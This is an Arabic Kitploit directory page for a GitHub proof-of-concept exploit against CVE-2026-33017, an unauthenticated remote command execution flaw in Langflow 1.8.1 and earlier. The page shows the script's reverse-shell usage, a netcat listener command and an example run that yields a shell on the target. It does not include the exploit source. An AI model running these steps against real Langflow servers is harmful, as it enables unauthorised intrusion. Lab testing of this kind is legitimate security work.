Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
PoC-CVE-2026-33017 — إثبات مفهوم لاستغلال CVE-2026-33017 (Langflow <= 1.8.1). | Kitploit
أدوات/GitHubGitHub/masterwok/poc-cve-2026-33017
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمأداة الوصول عن بعد
GitHubmasterwok/poc-cve-2026-33017

PoC-CVE-2026-33017

إثبات مفهوم لاستغلال CVE-2026-33017 (Langflow <= 1.8.1).

عرض المستودع
2منذ 5 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

إثبات المفهوم: CVE-2026-33017

Langflow <= 1.8.1 معرضة لثغرة تنفيذ أوامر عن بُعد (RCE) غير مصادق عليها (https://nvd.nist.gov/vuln/detail/CVE-2026-33017)


الاستخدام

root@kitploit:~
usage: CVE-2026-33017.py [-h] --lhost LHOST --lport LPORT target

PoC exploit: CVE-2026-33017

positional arguments:
  target         Target hostname

options:
  -h, --help     show this help message and exit
  --lhost LHOST  Reverse shell destination IP address
  --lport LPORT  Reverse shell destination port

مثال

root@kitploit:~
# إنشاء مثيل docker
docker run -d -p 7860:7860 langflowai/langflow:1.8.1

# بدء المستمع
nc -lnvp 4444

# تشغيل الاستغلال
python3 CVE-2026-33017.py 127.0.0.1 --lhost 192.168.1.17 --lport 4444

# يجب استلام الصدفة العكسية في المستمع
Listening on 0.0.0.0 4444
Connection received on 172.17.0.2 42712
uname -a
Linux 9be89ace430c 6.14.0-37-generic #37~24.04.1-Ubuntu SMP PREEMPT_DYNAMIC Thu Nov 20 10:25:38 UTC 2 x86_64 GNU/Linux

هذا المشروع مقدم لأغراض تعليمية وبحثية فقط. المؤلف غير مسؤول عن سوء الاستخدام أو الأضرار الناجمة عن هذا الكود.

تنزيل الأداة